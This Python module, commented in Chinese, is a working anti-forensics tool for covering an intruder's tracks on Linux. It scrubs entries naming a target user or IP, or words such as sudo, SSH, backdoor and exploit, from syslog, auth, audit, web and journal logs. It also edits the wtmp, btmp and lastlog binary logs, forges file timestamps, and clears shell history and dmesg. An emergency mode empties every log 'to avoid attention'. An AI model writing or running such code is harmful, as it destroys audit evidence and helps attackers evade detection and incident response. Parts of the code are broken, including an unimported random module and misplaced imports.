#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

增强版日志清理模块
解决日志清理能力不完善的问题
覆盖Linux系统全量日志源，包括时间戳处理
"""

import os
import re
import time
import glob
import shutil
import tempfile
import subprocess
import struct
from typing import List, Dict, Optional, Tuple
from datetime import datetime, timedelta
import gzip
import json

class ComprehensiveLogCleaner:
    """全面日志清理器 - 覆盖所有日志源"""
    
    def __init__(self):
        self.name = "全面日志清理器"
        
        # 系统日志文件
        self.system_logs = [
            '/var/log/syslog*', '/var/log/messages*', '/var/log/kern.log*',
            '/var/log/daemon.log*', '/var/log/user.log*', '/var/log/debug*',
            '/var/log/mail.log*', '/var/log/cron*', '/var/log/lpr.log*'
        ]
        
        # 认证和安全日志
        self.auth_logs = [
            '/var/log/auth.log*', '/var/log/secure*', '/var/log/btmp*',
            '/var/log/wtmp*', '/var/log/lastlog', '/var/log/utmp',
            '/var/log/faillog', '/var/log/tallylog'
        ]
        
        # 审计日志
        self.audit_logs = [
            '/var/log/audit/audit.log*', '/var/log/audit/*.log',
            '/var/log/auditd.log*'
        ]
        
        # Web服务器日志
        self.web_logs = [
            '/var/log/apache2/*', '/var/log/httpd/*', '/var/log/nginx/*',
            '/var/log/lighttpd/*', '/usr/local/apache*/logs/*',
            '/opt/lampp/logs/*'
        ]
        
        # 应用程序日志
        self.app_logs = [
            '/var/log/mysql/*', '/var/log/postgresql/*', '/var/log/redis/*',
            '/var/log/mongodb/*', '/var/log/elasticsearch/*',
            '/var/log/docker/*', '/var/log/containers/*'
        ]
        
        # 系统服务日志
        self.service_logs = [
            '/var/log/systemd/*', '/var/log/journal/*',
            '/run/log/journal/*', '/var/log/supervisor/*'
        ]
        
        # 网络日志
        self.network_logs = [
            '/var/log/firewall.log*', '/var/log/iptables.log*',
            '/var/log/ufw.log*', '/var/log/fail2ban.log*'
        ]
        
        # 内核和硬件日志
        self.kernel_logs = [
            '/var/log/dmesg*', '/var/log/boot.log*',
            '/var/log/hardware.log*'
        ]
    
    def get_all_log_files(self) -> List[str]:
        """获取所有日志文件路径"""
        all_patterns = (self.system_logs + self.auth_logs + self.audit_logs + 
                       self.web_logs + self.app_logs + self.service_logs + 
                       self.network_logs + self.kernel_logs)
        
        log_files = []
        for pattern in all_patterns:
            try:
                files = glob.glob(pattern)
                log_files.extend(files)
            except:
                pass
        
        # 去重并过滤存在的文件
        unique_files = list(set(log_files))
        existing_files = [f for f in unique_files if os.path.exists(f)]
        
        return existing_files
    
    def clean_log_entries_by_pattern(self, log_file: str, patterns: List[str], 
                                   preserve_structure: bool = True) -> bool:
        """根据模式清理日志条目"""
        try:
            if not os.path.exists(log_file):
                return False
            
            # 检查文件权限
            if not os.access(log_file, os.R_OK | os.W_OK):
                return False
            
            # 处理压缩文件
            if log_file.endswith('.gz'):
                return self._clean_compressed_log(log_file, patterns)
            
            # 读取原文件
            with open(log_file, 'r', encoding='utf-8', errors='ignore') as f:
                lines = f.readlines()
            
            # 过滤匹配的行
            filtered_lines = []
            for line in lines:
                should_remove = False
                for pattern in patterns:
                    if re.search(pattern, line, re.IGNORECASE):
                        should_remove = True
                        break
                
                if not should_remove:
                    filtered_lines.append(line)
            
            # 如果需要保持结构，用空行替换
            if preserve_structure:
                removed_count = len(lines) - len(filtered_lines)
                filtered_lines.extend(['\n'] * removed_count)
            
            # 写回文件
            with open(log_file, 'w', encoding='utf-8') as f:
                f.writelines(filtered_lines)
            
            return True
            
        except Exception as e:
            return False
    
    def _clean_compressed_log(self, log_file: str, patterns: List[str]) -> bool:
        """清理压缩日志文件"""
        try:
            # 解压到临时文件
            temp_file = tempfile.NamedTemporaryFile(mode='w+', delete=False)
            
            with gzip.open(log_file, 'rt', encoding='utf-8', errors='ignore') as gz_file:
                lines = gz_file.readlines()
            
            # 过滤内容
            filtered_lines = []
            for line in lines:
                should_remove = False
                for pattern in patterns:
                    if re.search(pattern, line, re.IGNORECASE):
                        should_remove = True
                        break
                
                if not should_remove:
                    filtered_lines.append(line)
            
            # 重新压缩
            with gzip.open(log_file, 'wt', encoding='utf-8') as gz_file:
                gz_file.writelines(filtered_lines)
            
            os.unlink(temp_file.name)
            return True
            
        except Exception as e:
            return False
    
    def clean_binary_logs(self, target_user: str = None, target_ip: str = None) -> bool:
        """清理二进制日志文件"""
        binary_logs = ['/var/log/wtmp', '/var/log/btmp', '/var/log/utmp', '/var/log/lastlog']
        
        for log_file in binary_logs:
            try:
                if not os.path.exists(log_file):
                    continue
                
                if log_file.endswith('wtmp') or log_file.endswith('btmp'):
                    self._clean_wtmp_btmp(log_file, target_user, target_ip)
                elif log_file.endswith('utmp'):
                    self._clean_utmp(log_file, target_user, target_ip)
                elif log_file.endswith('lastlog'):
                    self._clean_lastlog(log_file, target_user)
                    
            except Exception as e:
                continue
        
        return True
    
    def _clean_wtmp_btmp(self, log_file: str, target_user: str = None, target_ip: str = None):
        """清理wtmp/btmp二进制日志"""
        try:
            # 使用utmpdump读取记录
            result = subprocess.run(['utmpdump', log_file], 
                                  capture_output=True, text=True, timeout=30)
            
            if result.returncode != 0:
                return
            
            lines = result.stdout.split('\n')
            filtered_lines = []
            
            for line in lines:
                should_remove = False
                
                if target_user and target_user in line:
                    should_remove = True
                if target_ip and target_ip in line:
                    should_remove = True
                
                if not should_remove:
                    filtered_lines.append(line)
            
            # 重建日志文件
            temp_file = tempfile.NamedTemporaryFile(mode='w', delete=False)
            temp_file.write('\n'.join(filtered_lines))
            temp_file.close()
            
            # 使用utmpdump重建二进制文件
            subprocess.run(['utmpdump', '-r', temp_file.name], 
                          stdout=open(log_file, 'wb'), timeout=30)
            
            os.unlink(temp_file.name)
            
        except Exception as e:
            pass
    
    def _clean_utmp(self, log_file: str, target_user: str = None, target_ip: str = None):
        """清理utmp文件"""
        try:
            # utmp是当前登录用户，直接清空可能影响系统
            # 只在确实需要时清理特定条目
            if target_user or target_ip:
                self._clean_wtmp_btmp(log_file, target_user, target_ip)
        except:
            pass
    
    def _clean_lastlog(self, log_file: str, target_user: str = None):
        """清理lastlog文件"""
        try:
            if not target_user:
                return
            
            # 获取用户UID
            try:
                import pwd



                uid = pwd.getpwnam(target_user).pw_uid
            except (ImportError, KeyError):
                # pwd模块不可用或用户不存在
                return
            
            # lastlog文件结构：每个UID对应一个记录
            record_size = 292  # lastlog记录大小
            offset = uid * record_size
            
            with open(log_file, 'r+b') as f:
                f.seek(offset)
                # 清零该用户的记录
                f.write(b'\x00' * record_size)
                
        except Exception as e:
            pass

class JournalLogCleaner:
    """Systemd Journal日志清理器"""
    
    def __init__(self):
        self.journal_dirs = [
            '/var/log/journal',
            '/run/log/journal',
            '/var/log/systemd',
            '/run/systemd/journal'
        ]
    
    def clean_journal_logs(self, patterns: List[str] = None, 
                          since: str = None, until: str = None) -> bool:
        """清理systemd journal日志"""
        try:
            # 方法1: 使用journalctl清理
            if since or until:
                cmd = ['journalctl', '--vacuum-time=1d']
                if since:
                    cmd.extend(['--since', since])
                if until:
                    cmd.extend(['--until', until])
                
                subprocess.run(cmd, capture_output=True, timeout=60)
            
            # 方法2: 直接删除journal文件
            for journal_dir in self.journal_dirs:
                if os.path.exists(journal_dir):
                    self._clean_journal_directory(journal_dir, patterns)
            
            return True
            
        except Exception as e:
            return False
    
    def _clean_journal_directory(self, journal_dir: str, patterns: List[str] = None):
        """清理journal目录"""
        try:
            for root, dirs, files in os.walk(journal_dir):
                for file in files:
                    if file.endswith('.journal'):
                        file_path = os.path.join(root, file)
                        
                        # 如果没有特定模式，删除旧文件
                        if not patterns:
                            file_age = time.time() - os.path.getmtime(file_path)
                            if file_age > 86400:  # 1天前的文件
                                try:
                                    os.remove(file_path)
                                except:
                                    pass
                        else:
                            # 有模式时，需要解析journal文件（复杂，暂时跳过）
                            pass
        except:
            pass

class TimestampManipulator:
    """时间戳操作器 - 处理文件时间戳"""
    
    def __init__(self):
        self.name = "时间戳操作器"
    
    def restore_file_timestamps(self, file_path: str, 
                               reference_file: str = None) -> bool:
        """恢复文件时间戳"""
        try:
            if not os.path.exists(file_path):
                return False
            
            if reference_file and os.path.exists(reference_file):
                # 使用参考文件的时间戳
                ref_stat = os.stat(reference_file)
                os.utime(file_path, (ref_stat.st_atime, ref_stat.st_mtime))
            else:
                # 使用系统中类似文件的时间戳
                similar_files = self._find_similar_files(file_path)
                if similar_files:
                    ref_stat = os.stat(similar_files[0])
                    os.utime(file_path, (ref_stat.st_atime, ref_stat.st_mtime))
                else:
                    # 设置为较早的时间
                    old_time = time.time() - 86400 * 7  # 7天前
                    os.utime(file_path, (old_time, old_time))
            
            return True
            
        except Exception as e:
            return False
    
    def _find_similar_files(self, file_path: str) -> List[str]:
        """查找相似的文件作为时间戳参考"""
        try:
            dir_path = os.path.dirname(file_path)
            file_name = os.path.basename(file_path)
            
            # 查找同目录下的相似文件
            similar_files = []
            for f in os.listdir(dir_path):
                if f != file_name and f.startswith(file_name.split('.')[0]):
                    full_path = os.path.join(dir_path, f)
                    if os.path.isfile(full_path):
                        similar_files.append(full_path)
            
            return similar_files[:3]  # 返回前3个
            
        except:
            return []
    
    def randomize_timestamps(self, file_paths: List[str], 
                           time_range_days: int = 30) -> bool:
        """随机化文件时间戳"""
        try:
            base_time = time.time() - (time_range_days * 86400)
            
            for file_path in file_paths:
                if os.path.exists(file_path):
                    # 生成随机时间戳
                    random_offset = random.randint(0, time_range_days * 86400)
                    new_time = base_time + random_offset
                    
                    os.utime(file_path, (new_time, new_time))
            
            return True
            
        except Exception as e:
            return False

class AdvancedLogCleaningManager:
    """高级日志清理管理器"""
    
    def __init__(self):
        self.comprehensive_cleaner = ComprehensiveLogCleaner()
        self.journal_cleaner = JournalLogCleaner()
        self.timestamp_manipulator = TimestampManipulator()
        
        # 常见的攻击特征模式
        self.attack_patterns = [
            r'sudo.*COMMAND.*',  # sudo命令
            r'ssh.*connection.*from.*',  # SSH连接
            r'authentication.*failure.*',  # 认证失败
            r'invalid.*user.*',  # 无效用户
            r'failed.*login.*',  # 登录失败
            r'privilege.*escalation.*',  # 权限提升
            r'backdoor.*',  # 后门
            r'exploit.*',  # 漏洞利用
            r'malware.*',  # 恶意软件
            r'suspicious.*activity.*'  # 可疑活动
        ]
    
    def comprehensive_log_cleanup(self, target_user: str = None, 
                                target_ip: str = None,
                                custom_patterns: List[str] = None,
                                preserve_timestamps: bool = True) -> Dict[str, bool]:
        """全面日志清理"""
        results = {}
        
        # 合并清理模式
        patterns = self.attack_patterns.copy()
        if custom_patterns:
            patterns.extend(custom_patterns)
        
        # 添加特定目标的模式
        if target_user:
            patterns.extend([
                "user.*{}.*".format(target_user),
                "{}.*session.*".format(target_user),
                ".*{}.*login.*".format(target_user)
            ])
        
        if target_ip:
            patterns.extend([
                ".*{}.*".format(target_ip),
                "connection.*from.*{}.*".format(target_ip),
                "{}.*authentication.*".format(target_ip)
            ])
        
        # 1. 清理文本日志
        log_files = self.comprehensive_cleaner.get_all_log_files()
        results['text_logs'] = []
        
        for log_file in log_files:
            success = self.comprehensive_cleaner.clean_log_entries_by_pattern(
                log_file, patterns, preserve_structure=True
            )
            results['text_logs'].append({
                'file': log_file,
                'success': success
            })
        
        # 2. 清理二进制日志
        results['binary_logs'] = self.comprehensive_cleaner.clean_binary_logs(
            target_user, target_ip
        )
        
        # 3. 清理journal日志
        results['journal_logs'] = self.journal_cleaner.clean_journal_logs(patterns)
        
        # 4. 处理时间戳
        if preserve_timestamps:
            modified_files = [item['file'] for item in results['text_logs'] 
                            if item['success']]
            results['timestamp_restoration'] = self.timestamp_manipulator.restore_file_timestamps(
                modified_files[0] if modified_files else None
            )
        
        # 5. 清理命令历史
        results['command_history'] = self._clean_command_history()
        
        # 6. 清理内核ring buffer
        results['kernel_buffer'] = self._clean_kernel_ring_buffer()
        
        # 7. 清理临时文件
        results['temp_files'] = self._clean_temp_files(patterns)
        
        return results
    
    def _clean_command_history(self) -> bool:
        """清理命令历史"""
        try:
            history_files = [
                '~/.bash_history', '~/.zsh_history', '~/.history',
                '~/.sh_history', '~/.ksh_history'
            ]
            
            for hist_file in history_files:
                expanded_path = os.path.expanduser(hist_file)
                if os.path.exists(expanded_path):
                    # 清空历史文件
                    with open(expanded_path, 'w') as f:
                        f.write('')
            
            # 清除内存中的历史
            subprocess.run(['history', '-c'], shell=True, capture_output=True)
            
            return True
            
        except Exception as e:
            return False
    
    def _clean_kernel_ring_buffer(self) -> bool:
        """清理内核ring buffer"""
        try:
            # 清理dmesg
            subprocess.run(['dmesg', '-c'], capture_output=True, timeout=10)
            return True
        except:
            return False
    
    def _clean_temp_files(self, patterns: List[str]) -> bool:
        """清理临时文件中的敏感信息"""
        try:
            temp_dirs = ['/tmp', '/var/tmp', '/dev/shm']
            
            for temp_dir in temp_dirs:
                if os.path.exists(temp_dir):
                    for root, dirs, files in os.walk(temp_dir):
                        for file in files:
                            file_path = os.path.join(root, file)
                            try:
                                # 检查文件内容是否包含敏感信息
                                with open(file_path, 'r', errors='ignore') as f:
                                    content = f.read(1024)  # 只读前1KB
                                    
                                for pattern in patterns:
                                    if re.search(pattern, content, re.IGNORECASE):
                                        os.remove(file_path)
                                        break
                            except:
                                continue
            
            return True
            
        except Exception as e:
            return False
    
    def emergency_log_wipe(self) -> bool:
        """紧急日志擦除 - 删除所有日志"""
        try:
            # 获取所有日志文件
            all_logs = self.comprehensive_cleaner.get_all_log_files()
            
            for log_file in all_logs:
                try:
                    if os.path.exists(log_file):
                        # 清空文件而不是删除（避免引起注意）
                        with open(log_file, 'w') as f:
                            f.write('')
                except:
                    continue
            
            # 清理journal
            self.journal_cleaner.clean_journal_logs()
            
            # 清理命令历史
            self._clean_command_history()
            
            return True
            
        except Exception as e:
            return False

# 使用示例
def demo_advanced_log_cleaning():
    """演示高级日志清理功能"""
    manager = AdvancedLogCleaningManager()
    
    # 全面日志清理
    results = manager.comprehensive_log_cleanup(
        target_user='attacker',
        target_ip='192.168.1.100',
        custom_patterns=['backdoor', 'exploit'],
        preserve_timestamps=True
    )
    
    print("日志清理结果:")
    for category, result in results.items():
        print("  {}: {}".format(category, result))

if __name__ == "__main__":
    demo_advanced_log_cleaning()